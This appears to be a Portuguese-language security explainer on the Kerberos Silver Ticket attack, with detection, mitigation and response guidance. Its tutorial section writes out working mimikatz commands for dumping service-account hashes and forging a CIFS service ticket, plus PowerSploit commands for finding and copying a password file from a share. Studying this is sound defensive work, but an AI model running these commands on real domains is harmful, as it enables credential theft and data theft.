Ataque Silver Ticket
Semelhante em conceito a um Golden Ticket, um ataque de Silver Ticket envolve comprometer credenciais e abusar do design do protocolo Kerberos. No entanto, ao contrário de um Golden Ticket — que concede a um adversário acesso irrestrito ao domínio — um Silver Ticket só permite que um atacante forje tickets de concessão de serviço (TGS) para serviços específicos. Os tickets TGS são criptografados com o hash da senha do serviço; portanto, se um adversário roubar o hash de uma conta de serviço, ele pode criar tickets TGS para esse serviço. Embora o escopo de um ataque de Silver Ticket possa ser menor, ainda é uma ferramenta poderosa no kit de um adversário, permitindo acesso persistente e furtivo aos recursos. Como apenas o hash da senha da conta de serviço é necessário, também é significativamente mais fácil de executar do que um ataque de Golden Ticket. Técnicas como colher hashes do LSASS.exe e Kerberoasting são maneiras comuns de adversários obterem hashes de senha de contas de serviço.
Resumo de Ameaças
Target: Active Directory
Ferramentas: mimikatz, impacket, PowerSploit
Tática ATT&CK®: Acesso a Credenciais
Técnica ATT&CK: T1558.002
Dificuldade
Detecção: Hard
Mitigação: Difícil
Resposta: Média
Tutorial de Ataque: Como funciona um ataque Silver Ticket
PASSO 1
Comprometer as credenciais de uma conta de serviço
Para obter a capacidade de emitir bilhetes TGS, um adversário deve primeiro comprometer o hash de senha de uma conta de serviço. Neste exemplo, um adversário que comprometeu um servidor de arquivos agora compromete o hash de senha de uma conta de serviço:
PS> .\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
mimikatz(commandline) # privilege::debug
Privilege '20' OK
mimikatz(commandline) # sekurlsa::logonpasswords
# ... output truncated ... #
Authentication Id : 0 ; 29151002 (00000000:01bccf1a)
Session : Interactive from 5
User Name : DWM-5
Domain : Window Manager
Logon Server : (null)
Logon Time : 21/07/2020 10:26:16
SID : S-1-5-90-0-5
msv :
[00000003] Primary
* Username : FileServer1$
* Domain : DOMAIN
* NTLM : 281fd98680ed31a9212256ada413db50
* SHA1 : c8fe518dfa728eb92eb2566328f0123e3bcb2717
# ... output truncated ... #
mimikatz(commandline) # exit
Bye!
PASSO 2
Forjar tickets TGS do Kerberos
Ferramentas como mimikatz podem ser usadas para criar Silver Tickets. O processo para forjar TGS tickets é semelhante ao de criar Golden Tickets, e com mimikatz utiliza-se o mesmo método kerberos::golden, especificando o hash da senha da conta de serviço em vez do krbtgt, juntamente com os seguintes parâmetros:
- /domain — O nome de domínio totalmente qualificado do domínio Active Directory
- /sid — O SID do domínio do Active Directory
- /user — O nome de usuário para se passar por
- /target — O nome de domínio totalmente qualificado do servidor
- /service — O nome do serviço alvo
- /rc4 — O hash de senha NTLM/RC4
PS> .\mimikatz.exe "kerberos::golden /user:NonExistentUser /domain:domain.com /sid:S-1-5-21-5840559-2756745051-1363507867 /rc4:8fbe632c51039f92c21bcef456b31f2b /target:FileServer1.domain.com /service:cifs /ptt" "misc::cmd" exit
mimikatz(commandline) # kerberos::golden /user:NonExistentUser /domain:domain.com /sid:S-1-5-21-5840559-2756745051-1363507867 /rc4:8fbe632c51039f92c21bcef456b31f2b /target:FileServer1.domain.com /service:cifs /ptt
User : NonExistentUser
Domain : domain.com (DOMAIN)
SID : S-1-5-21-5840559-2756745051-1363507867
User Id : 500
Groups Id : *513 512 520 518 519
ServiceKey: 8fbe632c51039f92c21bcef456b31f2b - rc4_hmac_nt
Service : cifs
Target : FileServer1.domain.com
Lifetime : 27/07/2020 12:20:26 ; 25/07/2030 12:20:26 ; 25/07/2030 12:20:26
-> Ticket : ** Pass The Ticket **
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
Golden ticket for 'NonExistentUser @ domain.com' successfully submitted for current session
mimikatz(commandline) # misc::cmd
Patch OK for 'cmd.exe' from 'DisableCMD' to 'KiwiAndCMD' @ 00007FF7767043B8
mimikatz(commandline) # exit
Bye!
PASSO 3
Utilize os ingressos falsificados para alcançar objetivos adicionais
No passo anterior, o adversário forjou um silver ticket e injetou-o numa nova sessão de cmd.exe. O Silver Ticket que o atacante cunhou especificou o serviço cifs, o que permitirá ao atacante usar o TGS forjado para acessar compartilhamentos de arquivos. Como o TGS é forjado, ele pode ser criado para um usuário que na verdade não existe no domínio, dificultando para os respondentes rastrear o adversário. Neste exemplo, o adversário usa o ticket forjado e o cmdlet Find-InterestingFile do módulo PowerShell PowerSploit para vasculhar o compartilhamento de arquivos em busca de dados sensíveis e exfiltrá-los.
PS> Find-InterestingFile -Path \\FileServer1.domain.com\S$\shares\
FullName : \\FileServer1.domain.com\S$\shares\IT\Service Account Passwords.xlsx
Owner : DOMAIN\JOED
LastAccessTime : 27/07/2020 12:47:44
LastWriteTime : 27/07/2020 12:47:44
CreationTime : 10/04/2011 10:04:50
Length : 76859
PS> Copy-Item -Path "\\FileServer1.domain.com\S$\shares\IT\Service Account Passwords.xlsx" -Destination "C:\Windows\Temp\a20ds3"
PS>
Detectar, Mitigar e Responder
Detectar
Dificuldade: Difícil
O processo normal de obtenção de um ticket de serviço de concessão de tickets envolve solicitar a um controlador de domínio para gerar um. Após o solicitante comprovar sua identidade, o controlador de domínio responderá com um TGS criptografado com a senha da conta de serviço. Mas, como o adversário comprometeu essa senha, ele pode emitir tickets TGS sem se comunicar com o controlador de domínio. Assim, a detecção de Silver Tickets é possível apenas no endpoint e envolve a análise de tickets TGS em busca de sinais sutis de manipulação, como:
- Nomes de usuário que não existem
- Membros de grupo modificados (adicionados ou removidos)
- Incompatibilidades de nome de usuário e ID
- Tipos de criptografia mais fracos que o normal ou tempos de vida de bilhetes que excedem o máximo do domínio (o tempo de vida padrão do domínio é de 10 horas; o padrão do mimikatz é de 10 anos)
O log de eventos do Windows possui vários eventos de auditoria úteis para detectar Silver Tickets:
Evento
Fonte
Informação
Auditar Membros do Grupo: ID do Evento 4627
Computadores Membros
- Identificador de segurança do usuário (SID)
- Membros do grupo
Auditoria de Logon: ID de Evento 4624
Computadores Membros
- Identificador de segurança do usuário (SID)
- Nome de usuário
- IP de origem (indicando host potencialmente comprometido)
Mitigar
Dificuldade: Média
Porque os Silver Tickets abusam do protocolo Kerberos, o risco do seu uso não pode ser completamente eliminado. No entanto, existem várias medidas de mitigação que podem dificultar para um adversário comprometer as hashes de senha de contas de serviço.
- Adote práticas de higiene de senhas fortes para contas de serviço: Suas senhas devem ser geradas aleatoriamente, ter no mínimo 30 caracteres e ser alteradas rotineiramente.
- Ative a PAC Validation. Embora tenha limitações conhecidas, existem algumas situações nas quais pode ajudar na detecção e prevenção de Silver tickets.
- Remova os privilégios administrativos de usuários finais em estações de trabalho de membros e adote soluções controladas de elevação de privilégios.
- Reduza o acesso administrativo a estações de trabalho e servidores a membros ao mínimo necessário.
- Utilize soluções como Microsoft LAPS para criar senhas fortes, aleatórias e únicas para contas de administrador local e rotacioná-las automaticamente de forma periódica.
- Aplique as mitigações recomendadas para Kerberoasting.
- Não permita que usuários possuam privilégios administrativos além das fronteiras de segurança. Por exemplo, um adversário que inicialmente compromete uma estação de trabalho não deve ser capaz de escalar privilégios para se mover da estação de trabalho para um servidor ou controlador de domínio.
Responder
Dificuldade: Média
Se um Silver Ticket for detectado, as seguintes ações de resposta devem ser tomadas:
- Ative o processo de resposta a incidentes e alerte a equipe de resposta a incidentes.
- Coloque em quarentena quaisquer computadores implicados para investigação forense e atividades de erradicação e recuperação.
- Redefina a senha da conta de serviço comprometida.
Compartilhar em
Ver ataques de cibersegurança relacionados
Abuso de Permissões de Aplicativos Entra ID – Como Funciona e Estratégias de Defesa
Modificação do AdminSDHolder – Como Funciona e Estratégias de Defesa
Ataque AS-REP Roasting - Como Funciona e Estratégias de Defesa
Ataque Hafnium - Como Funciona e Estratégias de Defesa
Ataques DCSync Explicados: Ameaça à Segurança do Active Directory
Ataque Pass the Hash
Entendendo ataques Golden Ticket
Ataque a Contas de Serviço Gerenciadas por Grupo
Ataque DCShadow – Como Funciona, Exemplos Reais e Estratégias de Defesa
Injeção de Prompt do ChatGPT: Entendendo Riscos, Exemplos e Prevenção
Ataque de Extração de Senha NTDS.dit
Ataque de Kerberoasting – Como Funciona e Estratégias de Defesa
Ataque Pass-the-Ticket Explicado: Riscos, Exemplos e Estratégias de Defesa
Ataque de Password Spraying
Ataque de Extração de Senha em Texto Simples
Vulnerabilidade Zerologon Explicada: Riscos, Explorações e Mitigação
Ataques de ransomware ao Active Directory
Desbloqueando o Active Directory com o Ataque Skeleton Key
Movimento Lateral: O que é, Como Funciona e Prevenções
Ataques Man-in-the-Middle (MITM): O que São & Como Preveni-los
Por que o PowerShell é tão popular entre os atacantes?
4 ataques a contas de serviço e como se proteger contra eles
Como Prevenir que Ataques de Malware Afetem o Seu Negócio
O que é Credential Stuffing?
Comprometendo o SQL Server com PowerUpSQL
O que são ataques de Mousejacking e como se defender contra eles
Roubando Credenciais com um Provedor de Suporte de Segurança (SSP)
Ataques de Rainbow Table: Como Funcionam e Como se Defender Contra Eles
Um Olhar Abrangente sobre Ataques de Senha e Como Impedi-los
Reconhecimento LDAP
Bypassando MFA com o ataque Pass-the-Cookie
Ataque Golden SAML